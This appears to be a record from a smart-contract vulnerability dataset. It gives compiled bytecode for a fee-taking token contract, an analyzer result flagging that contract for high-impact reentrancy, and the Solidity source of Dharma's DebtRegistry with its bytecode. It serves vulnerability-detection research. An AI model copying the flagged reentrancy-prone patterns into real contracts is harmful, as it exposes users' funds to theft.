4600981905550600c54600d819055507fcf8a1e1d5f09cf3c97dbb653cd9a4d7aace9292fbc1bb8211febf2d400febbdd600a54600854600c546040516111f293929190612de7565b60405180910390a1505050565b6112076113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128b90612ca9565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112f76113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612ca9565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144e90612d29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612c09565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a59190612d49565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990612d09565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990612be9565b60405180910390fd5b600081116116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc90612cc9565b60405180910390fd5b6116dd610bb7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174b575061171b610bb7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae457601660009054906101000a900460ff1661176957600080fd5b60155481111561177857600080fd5b61012c6006546117889190612e8e565b42116117b8576117ab6064683635c9adc5dea0000061210990919063ffffffff16565b8111156117b757600080fd5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118635750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118df5761187f600754600654611d3690919063ffffffff16565b42116118de576001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b60006118ea30610a15565b9050601660019054906101000a900460ff161580156119575750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119ad5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a035750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ae257601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aac5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ab557600080fd5b6000811115611ac857611ac781611d94565b5b60004790506000811115611ae057611adf47611c13565b5b505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8b5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b9557600090505b611ba184848484612153565b611ba961232c565b50505050565b6000838311158290611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bee9190612bc7565b60405180910390fd5b5060008385611c069190612f6f565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c776064611c69600e548661208e90919063ffffffff16565b61210990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ca2573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d076064611cf9600f548661208e90919063ffffffff16565b61210990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d32573d6000803e3d6000fd5b5050565b6000808284611d459190612e8e565b905083811015611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8190612c29565b60405180910390fd5b8091505092915050565b6001601660016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df2577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e205781602001602082028036833780820191505090505b5090503081600081518110611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f0057600080fd5b505afa158015611f14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f389190612763565b81600181518110611f72577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e7565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203d959493929190612d64565b600060405180830381600087803b15801561205757600080fd5b505af115801561206b573d6000803e3d6000fd5b50505050506000601660016101000a81548160ff02191690831515021790555050565b6000808314156120a15760009050612103565b600082846120af9190612f15565b90508284826120be9190612ee4565b146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f590612c89565b60405180910390fd5b809150505b92915050565b600061214b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612349565b905092915050565b80612161576121606123ac565b5b6000806000806121708661240e565b93509350935093506121ca86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061225f84600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122ab83612533565b6122b4826125cb565b6122bd81612663565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161231a9190612d49565b60405180910390a35050505050505050565b600b54600a81905550600954600881905550600d54600c81905550565b60008083118290612390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123879190612bc7565b60405180910390fd5b506000838561239f9190612ee4565b9050809150509392505050565b6000600a541480156123c057506000600854145b80156123ce57506000600c54145b156123d85761240c565b600a54600b81905550600854600981905550600c54600d819055506000600a8190555060006008819055506000600c819055505b565b600080600080600061243f6103e86124316008548961208e90919063ffffffff16565b61210990919063ffffffff16565b9050600061246c6103e861245e600a548a61208e90919063ffffffff16565b61210990919063ffffffff16565b905060006124996103e861248b600c548b61208e90919063ffffffff16565b61210990919063ffffffff16565b905060006124c2836124b4868c6124e990919063ffffffff16565b6124e990919063ffffffff16565b905081816124d09190612f6f565b9050808484849750975097509750505050509193509193565b600061252b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611baf565b905092915050565b61258581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b61261d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6126b581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60008135905061270a81613379565b92915050565b60008151905061271f81613379565b92915050565b60008135905061273481613390565b92915050565b60006020828403121561274c57600080fd5b600061275a848285016126fb565b91505092915050565b60006020828403121561277557600080fd5b600061278384828501612710565b91505092915050565b6000806040838503121561279f57600080fd5b60006127ad858286016126fb565b92505060206127be858286016126fb565b9150509250929050565b6000806000606084860312156127dd57600080fd5b60006127eb868287016126fb565b93505060206127fc868287016126fb565b925050604061280d86828701612725565b9150509250925092565b6000806040838503121561282a57600080fd5b6000612838858286016126fb565b925050602061284985828601612725565b9150509250929050565b60006020828403121561286557600080fd5b600061287384828501612725565b91505092915050565b6000806040838503121561288f57600080fd5b600061289d85828601612725565b92505060206128ae85828601612725565b9150509250929050565b6000806000606084860312156128cd57600080fd5b60006128db86828701612725565b93505060206128ec86828701612725565b92505060406128fd86828701612725565b9150509250925092565b6000612913838361291f565b60208301905092915050565b61292881612fa3565b82525050565b61293781612fa3565b82525050565b600061294882612e49565b6129528185612e6c565b935061295d83612e39565b8060005b8381101561298e5781516129758882612907565b975061298083612e5f565b925050600181019050612961565b5085935050505092915050565b6129a481612fb5565b82525050565b6129b381612ff8565b82525050565b60006129c482612e54565b6129ce8185612e7d565b93506129de81856020860161300a565b6129e78161309b565b840191505092915050565b60006129ff602383612e7d565b9150612a0a826130ac565b604082019050919050565b6000612a22602283612e7d565b9150612a2d826130fb565b604082019050919050565b6000612a45601b83612e7d565b9150612a508261314a565b602082019050919050565b6000612a68601d83612e7d565b9150612a7382613173565b602082019050919050565b6000612a8b602783612e7d565b9150612a968261319c565b604082019050919050565b6000612aae602183612e7d565b9150612ab9826131eb565b604082019050919050565b6000612ad1602083612e7d565b9150612adc8261323a565b602082019050919050565b6000612af4602983612e7d565b9150612aff82613263565b604082019050919050565b6000612b17601e83612e7d565b9150612b22826132b2565b602082019050919050565b6000612b3a602583612e7d565b9150612b45826132db565b604082019050919050565b6000612b5d602483612e7d565b9150612b688261332a565b604082019050919050565b612b7c81612fe1565b82525050565b612b8b81612feb565b82525050565b6000602082019050612ba6600083018461292e565b92915050565b6000602082019050612bc1600083018461299b565b92915050565b60006020820190508181036000830152612be181846129b9565b905092915050565b60006020820190508181036000830152612c02816129f2565b9050919050565b60006020820190508181036000830152612c2281612a15565b9050919050565b60006020820190508181036000830152612c4281612a38565b9050919050565b60006020820190508181036000830152612c6281612a5b565b9050919050565b60006020820190508181036000830152612c8281612a7e565b9050919050565b60006020820190508181036000830152612ca281612aa1565b9050919050565b60006020820190508181036000830152612cc281612ac4565b9050919050565b60006020820190508181036000830152612ce281612ae7565b9050919050565b60006020820190508181036000830152612d0281612b0a565b9050919050565b60006020820190508181036000830152612d2281612b2d565b9050919050565b60006020820190508181036000830152612d4281612b50565b9050919050565b6000602082019050612d5e6000830184612b73565b92915050565b600060a082019050612d796000830188612b73565b612d8660208301876129aa565b8181036040830152612d98818661293d565b9050612da7606083018561292e565b612db46080830184612b73565b9695505050505050565b6000604082019050612dd36000830185612b73565b612de06020830184612b73565b9392505050565b6000606082019050612dfc6000830186612b73565b612e096020830185612b73565b612e166040830184612b73565b949350505050565b6000602082019050612e336000830184612b82565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e9982612fe1565b9150612ea483612fe1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ed957612ed861303d565b5b828201905092915050565b6000612eef82612fe1565b9150612efa83612fe1565b925082612f0a57612f0961306c565b5b828204905092915050565b6000612f2082612fe1565b9150612f2b83612fe1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f6457612f6361303d565b5b828202905092915050565b6000612f7a82612fe1565b9150612f8583612fe1565b925082821015612f9857612f9761303d565b5b828203905092915050565b6000612fae82612fc1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061300382612fe1565b9050919050565b60005b8381101561302857808201518184015260208101905061300d565b83811115613037576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f53756d206f662073656c6c2066656573206d757374206265206c65737320746860008201527f616e203130303000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f53756d206f662070657263656e7473206d75737420657175616c203130300000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61338281612fa3565b811461338d57600080fd5b50565b61339981612fe1565b81146133a457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220525bedd282f090ab49dbfc412ddc2da2c438cbffd3089155c16a1c49a974364c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,466
0x4e0f2b97307ad60b741f993c052733acc1ea5811
pragma solidity ^0.4.18; // File: contracts/libraries/PermissionsLib.sol /* Copyright 2017 Dharma Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * Note(kayvon): these events are emitted by our PermissionsLib, but all contracts that * depend on the library must also define the events in order for web3 clients to pick them up. * This topic is discussed in greater detail here (under the section "Events and Libraries"): * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736 */ contract PermissionEvents { event Authorized(address indexed agent, string callingContext); event AuthorizationRevoked(address indexed agent, string callingContext); } library PermissionsLib { // TODO(kayvon): remove these events and inherit from PermissionEvents when libraries are // capable of inheritance. // See relevant github issue here: https://github.com/ethereum/solidity/issues/891 event Authorized(address indexed agent, string callingContext); event AuthorizationRevoked(address indexed agent, string callingContext); struct Permissions { mapping (address => bool) authorized; mapping (address => uint) agentToIndex; // ensures O(1) look-up address[] authorizedAgents; } function authorize( Permissions storage self, address agent, string callingContext ) internal { require(isNotAuthorized(self, agent)); self.authorized[agent] = true; self.authorizedAgents.push(agent); self.agentToIndex[agent] = self.authorizedAgents.length - 1; Authorized(agent, callingContext); } function revokeAuthorization( Permissions storage self, address agent, string callingContext ) internal { /* We only want to do work in the case where the agent whose authorization is being revoked had authorization permissions in the first place. */ require(isAuthorized(self, agent)); uint indexOfAgentToRevoke = self.agentToIndex[agent]; uint indexOfAgentToMove = self.authorizedAgents.length - 1; address agentToMove = self.authorizedAgents[indexOfAgentToMove]; // Revoke the agent&#39;s authorization. delete self.authorized[agent]; // Remove the agent from our collection of authorized agents. self.authorizedAgents[indexOfAgentToRevoke] = agentToMove; // Update our indices to reflect the above changes. self.agentToIndex[agentToMove] = indexOfAgentToRevoke; delete self.agentToIndex[agent]; // Clean up memory that&#39;s no longer being used. delete self.authorizedAgents[indexOfAgentToMove]; self.authorizedAgents.length -= 1; AuthorizationRevoked(agent, callingContext); } function isAuthorized(Permissions storage self, address agent) internal view returns (bool) { return self.authorized[agent]; } function isNotAuthorized(Permissions storage self, address agent) internal view returns (bool) { return !isAuthorized(self, agent); } function getAuthorizedAgents(Permissions storage self) internal view returns (address[]) { return self.authorizedAgents; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: contracts/DebtRegistry.sol /* Copyright 2017 Dharma Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * The DebtRegistry stores the parameters and beneficiaries of all debt agreements in * Dharma protocol. It authorizes a limited number of agents to * perform mutations on it -- those agents can be changed at any * time by the contract&#39;s owner. * * Author: Nadav Hollander -- Github: nadavhollander */ contract DebtRegistry is Pausable, PermissionEvents { using SafeMath for uint; using PermissionsLib for PermissionsLib.Permissions; struct Entry { address version; address beneficiary; address underwriter; uint underwriterRiskRating; address termsContract; bytes32 termsContractParameters; uint issuanceBlockTimestamp; } // Primary registry mapping agreement IDs to their corresponding entries mapping (bytes32 => Entry) internal registry; // Maps debtor addresses to a list of their debts&#39; agreement IDs mapping (address => bytes32[]) internal debtorToDebts; PermissionsLib.Permissions internal entryInsertPermissions; PermissionsLib.Permissions internal entryEditPermissions; string public constant INSERT_CONTEXT = "debt-registry-insert"; string public constant EDIT_CONTEXT = "debt-registry-edit"; event LogInsertEntry( bytes32 indexed agreementId, address indexed beneficiary, address indexed underwriter, uint underwriterRiskRating, address termsContract, bytes32 termsContractParameters ); event LogModifyEntryBeneficiary( bytes32 indexed agreementId, address indexed previousBeneficiary, address indexed newBeneficiary ); modifier onlyAuthorizedToInsert() { require(entryInsertPermissions.isAuthorized(msg.sender)); _; } modifier onlyAuthorizedToEdit() { require(entryEditPermissions.isAuthorized(msg.sender)); _; } modifier onlyExtantEntry(bytes32 agreementId) { require(doesEntryExist(agreementId)); _; } modifier nonNullBeneficiary(address beneficiary) { require(beneficiary != address(0)); _; } /* Ensures an entry with the specified agreement ID exists within the debt registry. */ function doesEntryExist(bytes32 agreementId) public view returns (bool exists) { return registry[agreementId].beneficiary != address(0); } /** * Inserts a new entry into the registry, if the entry is valid and sender is * authorized to make &#39;insert&#39; mutations to the registry. */ function insert( address _version, address _beneficiary, address _debtor, address _underwriter, uint _underwriterRiskRating, address _termsContract, bytes32 _termsContractParameters, uint _salt ) public onlyAuthorizedToInsert whenNotPaused nonNullBeneficiary(_beneficiary) returns (bytes32 _agreementId) { Entry memory entry = Entry( _version, _beneficiary, _underwriter, _underwriterRiskRating, _termsContract, _termsContractParameters, block.timestamp ); bytes32 agreementId = _getAgreementId(entry, _debtor, _salt); require(registry[agreementId].beneficiary == address(0)); registry[agreementId] = entry; debtorToDebts[_debtor].push(agreementId); LogInsertEntry( agreementId, entry.beneficiary, entry.underwriter, entry.underwriterRiskRating, entry.termsContract, entry.termsContractParameters ); return agreementId; } /** * Modifies the beneficiary of a debt issuance, if the sender * is authorized to make &#39;modifyBeneficiary&#39; mutations to * the registry. */ function modifyBeneficiary(bytes32 agreementId, address newBeneficiary) public onlyAuthorizedToEdit whenNotPaused onlyExtantEntry(agreementId) nonNullBeneficiary(newBeneficiary) { address previousBeneficiary = registry[agreementId].beneficiary; registry[agreementId].beneficiary = newBeneficiary; LogModifyEntryBeneficiary( agreementId, previousBeneficiary, newBeneficiary ); } /** * Adds an address to the list of agents authorized * to make &#39;insert&#39; mutations to the registry. */ function addAuthorizedInsertAgent(address agent) public onlyOwner { entryInsertPermissions.authorize(agent, INSERT_CONTEXT); } /** * Adds an address to the list of agents authorized * to make &#39;modifyBeneficiary&#39; mutations to the registry. */ function addAuthorizedEditAgent(address agent) public onlyOwner { entryEditPermissions.authorize(agent, EDIT_CONTEXT); } /** * Removes an address from the list of agents authorized * to make &#39;insert&#39; mutations to the registry. */ function revokeInsertAgentAuthorization(address agent) public onlyOwner { entryInsertPermissions.revokeAuthorization(agent, INSERT_CONTEXT); } /** * Removes an address from the list of agents authorized * to make &#39;modifyBeneficiary&#39; mutations to the registry. */ function revokeEditAgentAuthorization(address agent) public onlyOwner { entryEditPermissions.revokeAuthorization(agent, EDIT_CONTEXT); } /** * Returns the parameters of a debt issuance in the registry. * * TODO(kayvon): protect this function with our `onlyExtantEntry` modifier once the restriction * on the size of the call stack has been addressed. */ function get(bytes32 agreementId) public view returns(address, address, address, uint, address, bytes32, uint) { return ( registry[agreementId].version, registry[agreementId].beneficiary, registry[agreementId].underwriter, registry[agreementId].underwriterRiskRating, registry[agreementId].termsContract, registry[agreementId].termsContractParameters, registry[agreementId].issuanceBlockTimestamp ); } /** * Returns the beneficiary of a given issuance */ function getBeneficiary(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns(address) { return registry[agreementId].beneficiary; } /** * Returns the terms contract address of a given issuance */ function getTermsContract(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns (address) { return registry[agreementId].termsContract; } /** * Returns the terms contract parameters of a given issuance */ function getTermsContractParameters(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns (bytes32) { return registry[agreementId].termsContractParameters; } /** * Returns a tuple of the terms contract and its associated parameters * for a given issuance */ function getTerms(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns(address, bytes32) { return ( registry[agreementId].termsContract, registry[agreementId].termsContractParameters ); } /** * Returns the timestamp of the block at which a debt agreement was issued. */ function getIssuanceBlockTimestamp(bytes32 agreementId) public view onlyExtantEntry(agreementId) returns (uint timestamp) { return registry[agreementId].issuanceBlockTimestamp; } /** * Returns the list of agents authorized to make &#39;insert&#39; mutations */ function getAuthorizedInsertAgents() public view returns(address[]) { return entryInsertPermissions.getAuthorizedAgents(); } /** * Returns the list of agents authorized to make &#39;modifyBeneficiary&#39; mutations */ function getAuthorizedEditAgents() public view returns(address[]) { return entryEditPermissions.getAuthorizedAgents(); } /** * Returns the list of debt agreements a debtor is party to, * with each debt agreement listed by agreement ID. */ function getDebtorsDebts(address debtor) public view returns(bytes32[]) { return debtorToDebts[debtor]; } /** * Helper function for computing the hash of a given issuance, * and, in turn, its agreementId */ function _getAgreementId(Entry _entry, address _debtor, uint _salt) internal pure returns(bytes32) { return keccak256( _entry.version, _debtor, _entry.underwriter, _entry.underwriterRiskRating, _entry.termsContract, _entry.termsContractParameters, _salt ); } }
0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632be84c6614610138578063314a522e146101c65780633f4ba83a1461020957806342cc6b041461021e5780635969549e146102575780635c975abb1461029d57806364a666f2146102ca5780636be39bda146103345780638456cb59146103aa5780638ad1d846146103bf5780638da5cb5b1461044d5780638dadc81d146104a25780638eaa6ac014610530578063932993951461064d5780639758af1e14610686578063ad655998146106c5578063ba20dda4146106fe578063c205e64c14610765578063cf9df5eb1461079e578063d69dbf631461088e578063f2fde38b146108c9578063f6f494c914610902578063f94df67814610969575b600080fd5b341561014357600080fd5b61014b6109d3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018b578082015181840152602081019050610170565b50505050905090810190601f1680156101b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d157600080fd5b6101eb600480803560001916906020019091905050610a0c565b60405180826000191660001916815260200191505060405180910390f35b341561021457600080fd5b61021c610a4a565b005b341561022957600080fd5b610255600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b08565b005b341561026257600080fd5b61029b60048080356000191690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bb1565b005b34156102a857600080fd5b6102b0610d44565b604051808215151515815260200191505060405180910390f35b34156102d557600080fd5b6102dd610d57565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610320578082015181840152602081019050610305565b505050509050019250505060405180910390f35b341561033f57600080fd5b610359600480803560001916906020019091905050610d6e565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600019166000191681526020019250505060405180910390f35b34156103b557600080fd5b6103bd610dee565b005b34156103ca57600080fd5b6103f6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eae565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561043957808201518184015260208101905061041e565b505050509050019250505060405180910390f35b341561045857600080fd5b610460610f4f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ad57600080fd5b6104b5610f74565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f55780820151818401526020810190506104da565b50505050905090810190601f1680156105225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561053b57600080fd5b610555600480803560001916906020019091905050610fad565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001836000191660001916815260200182815260200197505050505050505060405180910390f35b341561065857600080fd5b610684600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061112a565b005b341561069157600080fd5b6106ab6004808035600019169060200190919050506111d3565b604051808215151515815260200191505060405180910390f35b34156106d057600080fd5b6106fc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061124a565b005b341561070957600080fd5b6107236004808035600019169060200190919050506112f3565b